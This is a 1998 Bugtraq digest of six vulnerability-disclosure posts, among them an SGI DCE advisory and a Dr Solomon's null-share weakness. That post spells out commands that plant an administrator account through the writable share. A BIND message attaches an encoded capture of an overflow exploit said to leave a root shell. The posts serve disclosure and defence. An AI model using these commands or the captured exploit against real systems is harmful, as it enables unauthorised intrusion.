Date: 	Wed, 17 Jun 1998 00:04:55 -0400
Reply-To: Bugtraq List 
Sender: Bugtraq List 
From: Automatic digest processor 
Subject:  BUGTRAQ Digest - 14 Jun 1998 to 16 Jun 1998
To: Recipients of BUGTRAQ digests 
Message-Id: <19980617040705Z96657-13343+17@brimstone.netspace.org>

There are 6 messages totalling 1252 lines in this issue.

Topics of the day:

  1. Solaris 2.6 non-executable stacks
  2. Cheyenne Inoculan vulnerability on NT
  3. ufsrestore sparc exploit
  4. Dr Solomon's - Possible Hole
  5. IRIX OSF/DCE Denial of Service Attack
  6. Bind 4.9.6 ~ Current | X86 Exploit

----------------------------------------------------------------------

Date:    Tue, 16 Jun 1998 12:21:41 +0200
From:    Casper Dik 
Subject: Re: Solaris 2.6 non-executable stacks

>On Fri, 12 Jun 1998, Dax Kelson wrote:
>> A new feature in Solaris 2.6 is the ability to turn off executable stacks.
>[...]
>> Does anyone know how secure this implementation is?
>
>More importantly, does anyone know whether this breaks anything, like
>early versions of Solar Designer's Linux patch did?


The "protect_stack" script which implements this feature for 2.5[.1] does
break JIT compilers for Java as it also protects all BSS pages.

The 2.6 feature probably breaks gcc nested functions (when passed as
arguments) and perhaps gcc objective C as both generate code on the
stack.

But I've heard no breakage reports on any major program; all reports I
heard on protect_stack had to do with the data segment protection change.
(Basically, I had no choice but to protect all ZFOD pages)

The 2.6 feature is only supported on Ultra class and sun4m/sun4d systems;
not on others, not en x86 either. I don't think x86 hardware supports the
per-page protection bit required; you can only do it per-segment; this
makes it impossible for programs to use mprotect() on the stack to get
execute permission back.

The 64 bit SPARC V9 ABI has removed the requirement for the stack to
be executable; so the stack is not executable for 64 bit processes
in Solaris 2.7.

Casper

------------------------------

Date:    Tue, 16 Jun 1998 10:44:24 -0500
From:    Aleph One 
Subject: Re: Cheyenne Inoculan vulnerability on NT

---------- Forwarded message ----------
Date: Tue, 16 Jun 1998 08:11:03 -0400
From: Russ 
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
Subject: Re: Cheyenne Inoculan vulnerability on NT

According to a conversation I had with Computer Associates International
Tech Support, the problem described on June 10th regarding being able to
run arbitrary code on a machine running Inoculan v4.0

HAS NOT BEEN FIXED

by their patch "Update to build 373, Service Pack 2A - il0145.zip".

As of today, they stated that they hope to have a fix publicly available
with the next signature file update. CAI have their own Listserv to keep
interested parties up-to-date regarding their products;

To keep updated with the latest news about InocuLAN, ARCserve & FAXserve
please subscribe to CA E-news
http://www.cai.com/cheyenne/listserv/

CAI do have a temporary fix which they have made available to at least
one Inoculan customer. Why they have not deemed this important enough to
make it available to all customers is a mystery. The original poster of
this thread waited until he had seen the temporary fix in action before
posting the exploit information on the assumption that what he received
was now publicly available.

If you run Inoculan, contact CAI and insist on the temporary fix until
they make it available as part of a general service pack.

Cheers,
Russ

------------------------------

Date:    Tue, 16 Jun 1998 09:26:10 -0400
From:    Jesse Whyte 
Subject: Re: ufsrestore sparc exploit

No luck here on 2.6, here's a list of the applied patches.

Jesse
$ showrev -p
Patch: 105210-09 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWcsu,
SUNWarc
Patch: 105401-13 Obsoletes: 105524-01 Requires:  Incompatibles:  Packages:
SUNWcsu, SUNWcsr, SUNWarc, SUNWnisu
Patch: 105216-03 Obsoletes:  Requires: 105401-07 Incompatibles:  Packages:
SUNWcsu
Patch: 105393-03 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWcsu
Patch: 105490-04 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWcsu,
SUNWcsr, SUNWarc, SUNWbtool, SUNWhea, SUNWtoo, SUNWosdem, SUNWxcu4
Patch: 105518-01 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWcsu
Patch: 105615-03 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWcsu
Patch: 105621-02 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWcsu,
SUNWarc
Patch: 105665-01 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWcsu
Patch: 105667-01 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWcsu
Patch: 105686-02 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWcsu
Patch: 105736-01 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWcsu
Patch: 105755-05 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWcsu
Patch: 106033-01 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWcsu
Patch: 106049-01 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWcsu
Patch: 106271-03 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWcsu
Patch: 106301-01 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWcsu
Patch: 105181-05 Obsoletes: 105636-01, 105776-01 Requires:  Incompatibles:
Packages: SUNWcsr, SUNWcar, SUNWhea
Patch: 105379-04 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWcsr
Patch: 105720-03 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWcsr
Patch: 105786-05 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWcsr
Patch: 105845-01 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWcsr
Patch: 105284-08 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWmfrun
Patch: 105464-01 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWxwopt,
SUNWxwman
Patch: 105669-02 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWdtbas
Patch: 105837-02 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWdtdte
Patch: 106222-01 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWoldst
Patch: 105558-01 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWdtdst
Patch: 105375-08 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWluxal,
SUNWluxdv, SUNWluxop
Patch: 105552-02 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWnisu
Patch: 105357-01 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWses
Patch: 105356-05 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWssadv
Patch: 105926-01 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWsutl
Patch: 106125-04 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWswmt
Patch: 105407-01 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWvolu

------------------------------

Date:    Tue, 16 Jun 1998 10:44:46 -0500
From:    Aleph One 
Subject: Dr Solomon's - Possible Hole

---------- Forwarded message ----------
Date: Mon, 15 Jun 1998 22:37:25 +0100
From: Nemo 
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
Subject: Dr Solomon's - Possible Hole

Dear All,
I was looking at Dr Solomon's Management Edition Anti-virus for NT and
believe some of the advise they give could leave a huge hole in the
security of your network.

Below is a cutting from their technical notes web page:
http://www.drsolomon.com/products/avtknt/tnotes/Null.html

###############################################################

Null Session Shares


As part of the initial installation of Management Edition the repository is
created and the following two shares are associated with it :

Share Name      Default Location        Purpose
REPO            C:\NTTKME\DISKS         Contains all Management Edition and Anti-Virus
Toolkit                                         components.
MEUPGRD         C:\NTTKME\DISKS\UPGRADES Holds installation scripts for machines
being updated                                   via Batch Installation.

Batch Installations work via the Update Manager service running on the
Management Server. It sends out a data packet across the network to the
Management Agent running on the target machine(s). This packet indicates
the name and location of the install script that the Management Agent
should run to perform an update.

The Management Agent performs the update by running the Update Agent. As
this is being launched by an NT service, it runs under the Local System
account, not the currently logged in user (if there is one).

The Local System account does not normally have access to information
across the network via a share. This would normally mean that it is unable
to access the install scripts in the MEUPGRD share.

The solution is to create what is termed a "Null Session Share". This is
done automatically when Management Edition creates the repository. If the
user inadvertently deletes and re-creates the share they must check that
the null session share is still active. This is done via REGEDT32.EXE.
Check for the following key:


HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters
\NullSessionShares


One of the values it should contain is MEUPGRD. The share itself should
also be set to Full Control for Everyone.

########################################################################

The last sentence is the crux of the issue here.
This null session share is on the server and the "everyone" group has full
control. This means that anyone can edit the files in this share.

Wouldn't it be an easy task to add the following commands :

net user password jsmith /add
net localgroup administrators jsmith /add

(or equiv)

Because the clients are running the scripts in the MEUPGRD with system
privs the jsmith account will
be created and added to the local admins group......then the attacker has
every single NT client on your LAN to play with.

Thoughts? Comments?

Mnemonix
http://www.users.globalnet.co.uk/~mnemonix

------------------------------

Date:    Tue, 16 Jun 1998 11:17:18 -0700
From:    SGI Security Coordinator 
Subject: IRIX OSF/DCE Denial of Service Attack

DISTRIBUTION RESTRICTIONS - NONE - FOR PUBLIC RELEASE

-----BEGIN PGP SIGNED MESSAGE-----

______________________________________________________________________________
                Silicon Graphics Inc. Security Advisory

        Title:   OSF/DCE Denial of Service Attack
        Title:   CERT VB-97.12
        Number:  19980601-01-PX
        Date:    June, 16 1998
______________________________________________________________________________

Silicon Graphics provides this information freely to the SGI user community
for its consideration, interpretation, implementation and use.   Silicon
Graphics recommends that this information be acted upon as soon as possible.

Silicon Graphics provides the information in this Security Advisory on
an "AS-IS" basis only, and disclaims all warranties with respect thereto,
express, implied or otherwise, including, without limitation, any warranty
of merchantability or fitness for a particular purpose.  In no event shall
Silicon Graphics be liable for any loss of profits, loss of business, loss
of data or for any indirect, special, exemplary, incidental or consequential
damages of any kind arising from your use of, failure to use or improper
use of any of the instructions or information in this Security Advisory.
______________________________________________________________________________

- -----------------------
- --- Issue Specifics ---
- -----------------------

The Open Group has released an advisory via CERT concerning a buffer overflow
which has been discovered with Distributed Computing Environment (DCE)
security demon (secd) causing it core dump and no longer accept connections.

Silicon Graphic's implementation of OSF/DCE is vulnerable to this denial of
service attack.

Silicon Graphics Inc. has investigated the issue and recommends the
following steps for neutralizing the exposure.  It is HIGHLY RECOMMENDED
that these measures be implemented on ALL vulnerable SGI systems.

This issue will be corrected in future releases of Silicon Graphic's OSF/DCE
implementation.


- --------------
- --- Impact ---
- --------------

Any Silicon Graphics System that has purchased OSF/DCE and installed it on
IRIX 5.3, 6.2, 6.3 or 6.4, is vulnerable to this denial of service attack.

The denial of service attack can be performed locally and remotely and without
the use of a local account on the system.

Information on the denial of service attack has been posted as a CERT Vendor
Bulletin from the Open Group and can be found at:

ftp://ftp.cert.org/pub/cert_bulletins/VB-97.12.opengroup


- ----------------
- --- Solution ---
- ----------------

Upgrade to OSF/DCE & DFS 1.1C and install the following patches from the
December 1997 or later Recommended/Required Patch Set:


   OS Version     Vulnerable?     Patch #      Other Actions
   ----------     -----------     -------      -------------

   IRIX 3.x          no
   IRIX 4.x          no
   IRIX 5.0.x        no
   IRIX 5.1.x        no
   IRIX 5.2          no
   IRIX 5.3          yes         not avail     see Note 1
   IRIX 6.0.x        no
   IRIX 6.1          no
   IRIX 6.2          yes        2678 or 2679   see Note 2
   IRIX 6.3          yes        2680 or 2681   see Note 2
   IRIX 6.4          yes        2682 or 2683   see Note 2


   NOTES

     1) Upgrade operating system.

     2) Patches 2679, 2681 and 2683 are for the U.S. domestic version of
        OSF/DCE & DFS 1.1C and are not available from the standard SGI patch
        sources because they include strong encryption which cannot be exported
        outside of the United States without authorization.  All U.S. customers
        who have purchased Silicon Graphic's U.S. domestic implementation of
        the OSF/DCE & DFS 1.1C should have received an SGI patch CD which
        contains these restricted patches. Please contact your U.S. SGI support
        provider if you have not received this patch CD:

        SC4-DCEDOM-1.1C   DCE Domestic Security Module 1.1C Patch CD


Patches are available via anonymous FTP and your service/support provider.

The SGI anonymous FTP site is sgigate.sgi.com (204.94.209.1) or its
mirror, ftp.sgi.com.   Security information and patches can be found
in the ~ftp/security and ~ftp/patches directories, respectfully.



                 ##### Patch File Checksums ####

The actual patch will be a tar file containing the following files:

Filename:                 README.patch.2678
Algorithm #1 (sum -r):    03340 18 README.patch.2678
Algorithm #2 (sum):       44196 18 README.patch.2678
MD5 checksum:             3925265EE23DEACDD2421F1B332D6138

Filename:                 patchSG0002678
Algorithm #1 (sum -r):    29356 8 patchSG0002678
Algorithm #2 (sum):       28887 8 patchSG0002678
MD5 checksum:             8F70D3A0A297F21DB47A89C6522216AC

Filename:                 patchSG0002678.DCE_hdr
Algorithm #1 (sum -r):    29460 8 patchSG0002678.DCE_hdr
Algorithm #2 (sum):       21868 8 patchSG0002678.DCE_hdr
MD5 checksum:             FB225D06B2C3388C90AEDEA602C47E9C

Filename:                 patchSG0002678.DCE_sw
Algorithm #1 (sum -r):    01092 20273 patchSG0002678.DCE_sw
Algorithm #2 (sum):       38822 20273 patchSG0002678.DCE_sw
MD5 checksum:             F431CAD81201422515E5657F404D9A9E

Filename:                 patchSG0002678.DCE_sw32
Algorithm #1 (sum -r):    32696 5828 patchSG0002678.DCE_sw32
Algorithm #2 (sum):       50088 5828 patchSG0002678.DCE_sw32
MD5 checksum:             69D82184EFE0C90B42E3580EE8C12C3F

Filename:                 patchSG0002678.DCE_sw64
Algorithm #1 (sum -r):    49268 6303 patchSG0002678.DCE_sw64
Algorithm #2 (sum):       46879 6303 patchSG0002678.DCE_sw64
MD5 checksum:             327E6C8AA4EA66D28D9B4F4BA2C1C29E

Filename:                 patchSG0002678.DFS_sw
Algorithm #1 (sum -r):    57135 33041 patchSG0002678.DFS_sw
Algorithm #2 (sum):       19241 33041 patchSG0002678.DFS_sw
MD5 checksum:             E304E1471272D29DEBDEF2C92B1F507E

Filename:                 patchSG0002678.idb
Algorithm #1 (sum -r):    18177 24 patchSG0002678.idb
Algorithm #2 (sum):       34402 24 patchSG0002678.idb
MD5 checksum:             9732B977851307A76D0A41915446AFD3

Filename:                 README.patch.2679
Algorithm #1 (sum -r):    12911 18 README.patch.2679
Algorithm #2 (sum):       45218 18 README.patch.2679
MD5 checksum:             0372E330C0F36F21BE1B18104B35764A

Filename:                 patchSG0002679
Algorithm #1 (sum -r):    21166 4 patchSG0002679
Algorithm #2 (sum):       4443 4 patchSG0002679
MD5 checksum:             1EF8D675D4970C3680ABF3F172707A18

Filename:                 patchSG0002679.DCE_domestic_sw
Algorithm #1 (sum -r):    00651 6058 patchSG0002679.DCE_domestic_sw
Algorithm #2 (sum):       2779 6058 patchSG0002679.DCE_domestic_sw
MD5 checksum:             58DBF50346C7C061B880307FC93F529B

Filename:                 patchSG0002679.DCE_domestic_sw32
Algorithm #1 (sum -r):    60926 5912 patchSG0002679.DCE_domestic_sw32
Algorithm #2 (sum):       30244 5912 patchSG0002679.DCE_domestic_sw32
MD5 checksum:             542C70B9A9E9AB67B692797C027B03B5

Filename:                 patchSG0002679.DCE_domestic_sw64
Algorithm #1 (sum -r):    42845 6378 patchSG0002679.DCE_domestic_sw64
Algorithm #2 (sum):       3556 6378 patchSG0002679.DCE_domestic_sw64
MD5 checksum:             7AAF218B85F599616F0177AA0EB33EA6

Filename:                 patchSG0002679.DFS_domestic_sw
Algorithm #1 (sum -r):    01958 26147 patchSG0002679.DFS_domestic_sw
Algorithm #2 (sum):       40763 26147 patchSG0002679.DFS_domestic_sw
MD5 checksum:             16AC2AB4DAADB7FC858E17E04A2EBB80

Filename:                 patchSG0002679.idb
Algorithm #1 (sum -r):    32131 10 patchSG0002679.idb
Algorithm #2 (sum):       7644 10 patchSG0002679.idb
MD5 checksum:             A32549C1EB308E2E60691C5E0D5F4AE3

Filename:                 README.patch.2680
Algorithm #1 (sum -r):    07341 17 README.patch.2680
Algorithm #2 (sum):       27764 17 README.patch.2680
MD5 checksum:             426FB2F07E7D475A6041082D4ABF2C88

Filename:                 patchSG0002680
Algorithm #1 (sum -r):    41854 8 patchSG0002680
Algorithm #2 (sum):       12427 8 patchSG0002680
MD5 checksum:             E1FDE5E34BDA47AC2F49A84F90480D34

Filename:                 patchSG0002680.DCE_hdr
Algorithm #1 (sum -r):    38241 74 patchSG0002680.DCE_hdr
Algorithm #2 (sum):       46233 74 patchSG0002680.DCE_hdr
MD5 checksum:             C1AFA1041993291393C9D2E695D11A57

Filename:                 patchSG0002680.DCE_sw
Algorithm #1 (sum -r):    15573 21331 patchSG0002680.DCE_sw
Algorithm #2 (sum):       54145 21331 patchSG0002680.DCE_sw
MD5 checksum:             B18761B8BD7C8D2132D66E163E7A9A03

Filename:                 patchSG0002680.DCE_sw32
Algorithm #1 (sum -r):    53311 5838 patchSG0002680.DCE_sw32
Algorithm #2 (sum):       10596 5838 patchSG0002680.DCE_sw32
MD5 checksum:             247FAC6371C9F16EED37ED2ADA18C6FA

Filename:                 patchSG0002680.DCE_sw64
Algorithm #1 (sum -r):    08341 6318 patchSG0002680.DCE_sw64
Algorithm #2 (sum):       24100 6318 patchSG0002680.DCE_sw64
MD5 checksum:             922CF0068BF93FF6B2AEEDF7791CF19D

Filename:                 patchSG0002680.DFS_sw
Algorithm #1 (sum -r):    60299 10516 patchSG0002680.DFS_sw
Algorithm #2 (sum):       16894 10516 patchSG0002680.DFS_sw
MD5 checksum:             8C41AE6B8F34F21CC213307E936D0E7E

Filename:                 patchSG0002680.idb
Algorithm #1 (sum -r):    21012 19 patchSG0002680.idb
Algorithm #2 (sum):       49791 19 patchSG0002680.idb
MD5 checksum:             5F9B2EFBD7382D1E9C805C4AB39790AC
Filename:                 README.patch.2681
Algorithm #1 (sum -r):    37820 17 README.patch.2681
Algorithm #2 (sum):       23466 17 README.patch.2681
MD5 checksum:             BF90D4120752681AA8CC85E30D8F9B2C

Filename:                 patchSG0002681
Algorithm #1 (sum -r):    06707 4 patchSG0002681
Algorithm #2 (sum):       52425 4 patchSG0002681
MD5 checksum:             D8B53358819662E4F37756EDCBC46E04

Filename:                 patchSG0002681.DCE_domestic_sw
Algorithm #1 (sum -r):    52817 6060 patchSG0002681.DCE_domestic_sw
Algorithm #2 (sum):       13736 6060 patchSG0002681.DCE_domestic_sw
MD5 checksum:             B83F91BF6788F1CF5EF4118B259B3651

Filename:                 patchSG0002681.DCE_domestic_sw32
Algorithm #1 (sum -r):    02189 5909 patchSG0002681.DCE_domestic_sw32
Algorithm #2 (sum):       26545 5909 patchSG0002681.DCE_domestic_sw32
MD5 checksum:             3494E5F01F246CCAC8F98299B5A0FC06

Filename:                 patchSG0002681.DCE_domestic_sw64
Algorithm #1 (sum -r):    05410 6378 patchSG0002681.DCE_domestic_sw64
Algorithm #2 (sum):       3477 6378 patchSG0002681.DCE_domestic_sw64
MD5 checksum:             57D90B48AF707EF1C494AEFF621D76B6

Filename:                 patchSG0002681.DFS_domestic_sw
Algorithm #1 (sum -r):    37813 3102 patchSG0002681.DFS_domestic_sw
Algorithm #2 (sum):       10135 3102 patchSG0002681.DFS_domestic_sw
MD5 checksum:             9098B23B1C947FEF6C6E3282D7C12BC8

Filename:                 patchSG0002681.idb
Algorithm #1 (sum -r):    48063 4 patchSG0002681.idb
Algorithm #2 (sum):       34347 4 patchSG0002681.idb
MD5 checksum:             0C25153F4F015AC9ABE43AEE37EBE560

Filename:                 README.patch.2682
Algorithm #1 (sum -r):    36320 16 README.patch.2682
Algorithm #2 (sum):       25472 16 README.patch.2682
MD5 checksum:             FBD4E422418F1C04BE834B01DA32A956

Filename:                 patchSG0002682
Algorithm #1 (sum -r):    44327 6 patchSG0002682
Algorithm #2 (sum):       3707 6 patchSG0002682
MD5 checksum:             CB79E4CD6C3D177F4C2F9DC4F2A4C31F

Filename:                 patchSG0002682.DCE_hdr
Algorithm #1 (sum -r):    34388 1 patchSG0002682.DCE_hdr
Algorithm #2 (sum):       9815 1 patchSG0002682.DCE_hdr
MD5 checksum:             DFDD445FF99356C86CFBF4C4BAF7F4AB

Filename:                 patchSG0002682.DCE_sw
Algorithm #1 (sum -r):    56190 16020 patchSG0002682.DCE_sw
Algorithm #2 (sum):       52603 16020 patchSG0002682.DCE_sw
MD5 checksum:             A9D064BA7D97E4AFDBEDA8BB0428A767

Filename:                 patchSG0002682.DCE_sw32
Algorithm #1 (sum -r):    26046 6099 patchSG0002682.DCE_sw32
Algorithm #2 (sum):       41071 6099 patchSG0002682.DCE_sw32
MD5 checksum:             73B1042595A90F900B7B4838CA5181DA

Filename:                 patchSG0002682.DCE_sw64
Algorithm #1 (sum -r):    06103 6370 patchSG0002682.DCE_sw64
Algorithm #2 (sum):       63088 6370 patchSG0002682.DCE_sw64
MD5 checksum:             FD8A1B2D30FDA797B995117BF140FC55

Filename:                 patchSG0002682.DFS_sw
Algorithm #1 (sum -r):    56717 9573 patchSG0002682.DFS_sw
Algorithm #2 (sum):       64974 9573 patchSG0002682.DFS_sw
MD5 checksum:             226707FB10F844E2CB4F30595AC70FD8

Filename:                 patchSG0002682.idb
Algorithm #1 (sum -r):    10563 16 patchSG0002682.idb
Algorithm #2 (sum):       26825 16 patchSG0002682.idb
MD5 checksum:             FF387CDB1EE4EF8F9376A850AB2F8379

Filename:                 README.patch.2683
Algorithm #1 (sum -r):    32338 15 README.patch.2683
Algorithm #2 (sum):       21219 15 README.patch.2683
MD5 checksum:             0DF1BDCD671FA2E03A58C9838A680928

Filename:                 patchSG0002683
Algorithm #1 (sum -r):    58679 4 patchSG0002683
Algorithm #2 (sum):       56375 4 patchSG0002683
MD5 checksum:             F255015A5340CD34B0D707D396FD6D6B

Filename:                 patchSG0002683.DCE_domestic_sw
Algorithm #1 (sum -r):    25494 5598 patchSG0002683.DCE_domestic_sw
Algorithm #2 (sum):       54032 5598 patchSG0002683.DCE_domestic_sw
MD5 checksum:             D54E04B44F4385167E3E93B7CC694D5F

Filename:                 patchSG0002683.DCE_domestic_sw32
Algorithm #1 (sum -r):    50283 6197 patchSG0002683.DCE_domestic_sw32
Algorithm #2 (sum):       62501 6197 patchSG0002683.DCE_domestic_sw32
MD5 checksum:             B611492E5C9731F095BC21D580405B33

Filename:                 patchSG0002683.DCE_domestic_sw64
Algorithm #1 (sum -r):    28076 6442 patchSG0002683.DCE_domestic_sw64
Algorithm #2 (sum):       6953 6442 patchSG0002683.DCE_domestic_sw64
MD5 checksum:             A81BBDA039240C9EF751557A8D707FE0

Filename:                 patchSG0002683.DFS_domestic_sw
Algorithm #1 (sum -r):    20332 3263 patchSG0002683.DFS_domestic_sw
Algorithm #2 (sum):       63172 3263 patchSG0002683.DFS_domestic_sw
MD5 checksum:             E24CE4010A087AF805253C5BCCF6A325

Filename:                 patchSG0002683.idb
Algorithm #1 (sum -r):    30870 4 patchSG0002683.idb
Algorithm #2 (sum):       34408 4 patchSG0002683.idb
MD5 checksum:             991B340AFDE13737FA40F584D4854989


- ------------------------
- --- Acknowledgments ---
- ------------------------

Silicon Graphics wishes to thank the the CERT Coordination Center for their
assistance in this matter.


- -----------------------------------------------------------
- --- Silicon Graphics Inc. Security Information/Contacts ---
- -----------------------------------------------------------

If there are questions about this document, email can be sent to
cse-security-alert@sgi.com.

                      ------oOo------

Silicon Graphics provides security information and patches for
use by the entire SGI community.  This information is freely
available to any person needing the information and is available
via anonymous FTP and the Web.

The primary SGI anonymous FTP site for security information and patches
is sgigate.sgi.com (204.94.209.1).  Security information and patches
are located under the directories ~ftp/security and ~ftp/patches,
respectively. The Silicon Graphics Security Headquarters Web page is
accessible at the URL http://www.sgi.com/Support/security/security.html.

For issues with the patches on the FTP sites, email can be sent to
cse-security-alert@sgi.com.

For assistance obtaining or working with security patches, please
contact your SGI support provider.

                      ------oOo------

Silicon Graphics provides a free security mailing list service
called wiretap and encourages interested parties to self-subscribe
to receive (via email) all SGI Security Advisories when they are
released. Subscribing to the mailing list can be done via the Web
(http://www.sgi.com/Support/security/wiretap.html) or by sending email
to SGI as outlined below.

% mail wiretap-request@sgi.com
subscribe wiretap 
end
^d

In the example above,  is the email address that you
wish the mailing list information sent to.  The word end must be on a
separate line to indicate the end of the body of the message. The
control-d (^d) is used to indicate to the mail program that you are
finished composing the mail message.


                      ------oOo------

Silicon Graphics provides a comprehensive customer World Wide Web site.
This site is located at http://www.sgi.com/Support/security/security.html.

                      ------oOo------

For reporting *NEW* SGI security issues, email can be sent to
security-alert@sgi.com or contact your SGI support provider.  A
support contract is not required for submitting a security report.

______________________________________________________________________________
  This information is provided freely to all interested parties and may
  be redistributed provided that it is not altered in any way, Silicon
  Graphics is appropriately credited and the document retains and
  includes its valid PGP signature.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBNYawbbQ4cFApAP75AQFqPAP/UzEcvdjhYI0Er3qyyD6TFY+XdI6SGozh
2VYWp/SynZ5LSiL6RJ25RXBuNZVWYwOxnj/UtxGTOi2bdUtW+EnzEtdOQpeTXrk+
Z5trfGVOr0w3vQdzwPC9HQ9YCC6qFTsGoR3cZC7rnpEdd3BqDCbPhG9reO0Tk9v8
W60B5v7c2M4=
=ea2s
-----END PGP SIGNATURE-----

------------------------------

Date:    Tue, 16 Jun 1998 16:10:13 -0600
From:    System Administrator 
Subject: Bind 4.9.6 ~ Current | X86 Exploit

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--2093887258-1556853466-898035013=:24416
Content-Type: TEXT/PLAIN; charset=US-ASCII


My apologies if this problem is already known.

The attached file is a tcpdump written out, of a person i know, testing
a new exploit for bind on me. To read this file and make any sense of it:

tcpdump -vvxr scanme2

It would appear to be another buffer overflow, and triggering it with
sending mass "9090" to something. We are looking further into this, but do
not yet have a exploit for it, but are a bit more concearned with a patch.
It looks like it was spawned off the idea of the inverse query exploit.

Also, at first look it appears the problem probally originates in
ns_resp.c, under the /named directory in source. And the code I sent
happens to corrupt the stack by adding "909090909090~" on the end of
packets, corrupting the stack, crashing named, after leaving a root shell.

It is also rumored that there are two version of this exploit already out,
one a bit more public than the other, this one was the unreleased, not
very public version.

*side note*
Ive definetly got some of this wrong, but any information would be very
helpfull on it.

--------------------

System Administrator
Http://www.303.org/~netmask/
root@303.org

--2093887258-1556853466-898035013=:24416
Content-Type: APPLICATION/octet-stream; name=scanme2
Content-Transfer-Encoding: BASE64
Content-ID: 
Content-Description:

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
